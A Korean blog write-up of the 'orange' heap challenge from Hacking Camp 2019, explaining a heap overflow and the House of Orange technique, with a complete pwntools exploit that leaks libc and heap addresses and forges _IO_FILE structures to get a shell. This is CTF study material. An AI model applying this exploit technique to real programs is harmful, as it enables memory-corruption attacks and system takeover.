일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 투 포인터
- 동적 계획법
- 브루트 포스
- 수학
- BFS
- 완전 탐색
- 포맷스트링버그
- 이진트리
- heap
- House of Orange
- 이진 탐색
- DFS
- 백트래킹
- off by one
- tcache
- 연결리스트
- fsb
- ROP
- 다이나믹 프로그래밍
- OOB
- 큐
- syscall
- 분할 정복
- 문자열 처리
- RTL
- 스택
- 이분 탐색
- 스위핑 알고리즘
- BOF
- 에라토스테네스의 체
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
해킹캠프 2019 [겨울] - orange 본문
예전에 이 바이너리를 봤었는데.. 그 때 당시에는 heap에 대해 몰랐기 때문에 house of orange 기법도 몰랐고 그냥 넘겼던 문제였다.
근데 이번에 house of orange 기법을 좀 공부하고 싶어서 다시 꺼냈다..
차근차근 exploit 해보자.
먼저 보호기법이다.
main을 보면 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( 1 )
{
menu();
__isoc99_scanf(&unk_F44, &v3);
switch ( v3 )
{
case 2:
heap_re_read();
break;
case 3:
heap_write();
break;
case 1:
heap_read();
break;
default:
puts("Invalid Input");
break;
}
}
}
http://colorscripter.com/info#e" target="_blank" style="color:#e5e5e5text-decoration:none">Colored by Color Scripter
|
3개의 메뉴가 읻;따. 존재한다.
하나씩 분석해보자.
먼저 heap_read()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
unsigned __int64 heap_read()
{
int v0; // ebx
size_t nbytes; // [rsp+0h] [rbp-20h]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( point_account > 3 )
{
puts("Cannot read");
exit(1);
}
printf("Size: ");
__isoc99_scanf(&unk_F44, &nbytes);
v0 = point_account;
p[v0] = malloc((int)nbytes);
heap_size[point_account] = nbytes;
printf(">> ");
HIDWORD(nbytes) = read(0, (void *)p[point_account], (unsigned int)nbytes);
if ( !HIDWORD(nbytes) )
{
puts("Invalid Read");
exit(1);
}
++point_account;
puts("Complete");
return __readfsqword(0x28u) ^ v3;
}
http://colorscripter.com/info#e" target="_blank" style="color:#e5e5e5text-decoration:none">Colored by Color Scripter
|
총 4개까지 할당이 가능하며
전역변수에 있는 p에 주소를 저장한다.
p에 주소, heap_size에 size를 저장한다.
다음 heap_re_read()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
unsigned __int64 heap_re_read()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
unsigned int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( !point_account )
{
puts("Cannot re-read");
exit(1);
}
printf("Index: ");
__isoc99_scanf(&unk_F44, &v1);
if ( point_account < v1 )
{
puts("Invalid Index");
exit(1);
}
printf(">> ");
v2 = read(0, (void *)p[v1], 0x1000uLL);
heap_size[v1] = v2;
if ( !v2 )
{
puts("Invalid Read");
exit(1);
}
puts("Complete");
return __readfsqword(0x28u) ^ v3;
}
http://colorscripter.com/info#e" target="_blank" style="color:#e5e5e5text-decoration:none">Colored by Color Scripter
|
이 부분을 보면 누가봐도 heap overflow가 발생하는 것을 알 수 있다.
다음 heap_write()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
unsigned __int64 heap_write()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !point_account )
{
puts("Cannot write");
exit(1);
}
printf("Index: ");
__isoc99_scanf(&unk_F44, &v1);
if ( point_account < v1 )
{
puts("Invalid Index");
exit(1);
}
printf("%d. Heap\n", v1);
puts("- Contents -");
write(1, p[v1], heap_size[v1]);
return __readfsqword(0x28u) ^ v2;
}
|
heap size만큼 heap의 내용을 write로 출력해준다.
그러면 이제 house of orange를 공부해보자.
공부는 https://www.lazenca.net/display/TEC/House+of+Orange 이 링크에서 공부하려고 한다.
먼저 조건.
- Top chunk 영역에 값을 저장할 수 있어야 한다.
- Top chunk 의 값보다 큰 값을 생성 할 수 있어야 한다.
- Free chunk 영역에 값을 저장 할 수 있어야 한다.
그 다음 Exploit plan
- Add Free chunk to Unsorted bin
- Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
- Unsorted bin attack
- House of orange(?)
이 4 방법으로 익스가 가능하다고 한다...
물론 세부적인 내용을 하면 길어질까봐 익스를 하면서 알아가도록 하자.
Add Free chunk to Unsorted bin
house of orange의 1단계다. 차근차근 진행해보자.
1-1) 먼저 1개의 Heap영역을 할당한다.
malloc(0x10)을 호출하여 heap을 할당했다.
1-2) Top chunk 영역에 아래와 같은 조건을 만족하는 값을 덮어 쓴다.
- Top chunk + size 는 페이지 정렬이 되어야 한다.
- Top chunk 값에 prev_inuse 비트를 설정해야 한다.
- EX) Top chunk : 0x20c01, Overwrite to value : 0xc00 + 0x1 = 0xc01
edit을 통해 0x20fe1 -> 0xfe1로 덮어 씌웠다.
1-3) Top chunk 영역의 값보다 큰 크기의 Heap 영역을 생성한다.
- Malloc은 이 요청을 처리하기 위해 sysmalloc이 호출된다.
- sysmalloc()의 _int_free() 함수에 의해 "Top chunk - 0x8" 영역이 Unsorted bin에 등록된다.
- "Top chunk" 영역은 Free chunk 형태를 가진다.
malloc(0x1000)을 호출하면 Top chunk가 Free된 형태로 존재한다.
사진과 같이 Top chunk의 주소가 unsorted bin에 들어가 있다.
일단 write를 통해 main_reana+88의 주소를 leak할 수 있으니 미리 해두자.
edit함수에서 보았듯이, 우리가 새로 덮어쓴 길이만큼 write로 출력해주니 0xfe1로 덮음과 동시에 p64(0)을 여러개 보내주면 그에 맞는 길이까지 leak이 가능해진다.
House of orange는 heap의 주소도 알아야 하니 구하자.
현재 이 상태에서 새로 chunk를 할당하면
다음과 같이 heap의 주소가 남아있게 된다 저것을 가져오면 된다.
Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
house of orange의 2단계이다.
2-1) Free chunk 영역에 "Fake struct _IO_FILE_plus", "Fake struct _IO_wide_data" 구조를 작성한다.
https://code.woboq.org/userspace/glibc/libio/libio.h.html
_IO_FILE_plus 나 _IO_wide_data의 구조는 위의 링크게 자세히 적혀 있다.
먼저 _IO_FILE_plus는 다음과 같이 구성되어 있다. ( 메모리를 그려보았을 때 다음과 같이 나오는 듯 하다. )
중요하게 보아야 할 것은 빨간색으로 되어 있다.
다음 _IO_wide_data는 다음과 같이 구성되어 있다.
중요하게 보아야 할 것은 빨간색으로 되어 있다.
그럼 이 두개를 어떻게 해야 하는가?
다음과 같이 겹치면 된다.
_IO_FILE_plus 는 검은색, _IO_wide_data는 초록색으로 되어 있는데,
_IO_FILE_plus의 _wide_data에 넣은 값부터 _IO_wide_data의 구조를 써 주면 된다.
위의 예시에서는 _wide_data에 0x90을 넣었으니 0x90부터 _IO_wide_data의 구조를 써 주면 된다.
그리고 이 것을 FREE 청크에 덮어 쓰면 된다.
현재 heap의 상태가 아래와 같으므로
위에서 구한 구조대로 덮어 쓴다면 다음과 같이 될 것이다.
이렇게 덮은 상태에서 새로 할당을 시도하면 에러가 나면서 쉘을 따게 된다.
근데 한번에 되는게 아니라 몇번 시도해야 되더라..
exploit 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
from pwn import *
p = process('./orange')
def choice(idx):
p.sendlineafter(">> ", str(idx))
def read(size, content):
choice(1)
p.sendlineafter("Size: ", str(size))
p.sendlineafter(">> ", str(content))
def re_read(idx, content):
choice(2)
p.sendlineafter("Index: ", str(idx))
p.sendlineafter(">> ", str(content))
def write(idx):
choice(3)
p.sendlineafter("Index: ", str(idx))
read(0x10, 'aaaaaaaa')
re_read(0,'aaaaaaaa'+ p64(0)*2+p64(0xfe1)+p64(0)*80)
read(0x1000, 'bbbbbbbb')
write(0)
p.recvuntil("- Contents -\n")
p.recv(8*4)
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena_88 - 0x3c4b78
system = libc_base + 0x45390
_IO_list_all = libc_base + 0x3c5520
print "main_arena_88 : " + hex(main_arena_88)
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "_IO_list_all : " + hex(_IO_list_all)
read(0x10, 'b'*8)
write(0)
p.recvuntil("bbbbbbbb")
p.recv(8)
heap = u64(p.recv(6).ljust(8,'\x00')) - 0x20 + 0x40
print "heap : " + hex(heap)
pay = ''
pay += 'a'*0x10
pay += p64(0) + p64(0x21)
pay += 'b'*0x10
pay += "/bin/sh\x00" + p64(0x61)
pay += p64(main_arena_88) + p64(_IO_list_all - 0x10)
pay += p64(0)*2
pay += p64(0)*2
pay += p64(0)*2
pay += p64(0)*2
pay += p64(0)*2
pay += p64(0) + p64(system)
pay += p64(0)*2
pay += p64(0)*2
pay += p64(heap + 0x90) + p64(2)
pay += p64(3) + p64(0)
pay += p64(1) + p64(0)
pay += p64(0) + p64(heap+0x60)
re_read(0, pay)
choice(1)
p.sendlineafter("Size: ", str(10))
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
nullcon hackim 2019 - babypwn (0) | 2020.01.10 |
---|---|
WhiteHat Grand Prix 06 – Quals 2019 - loop (0) | 2020.01.05 |
HCTF 2019 - rop (0) | 2019.11.21 |
BackdoorCTF 2019 - babytcache (0) | 2019.11.12 |
facebook ctf 2019 - otp-server (0) | 2019.11.04 |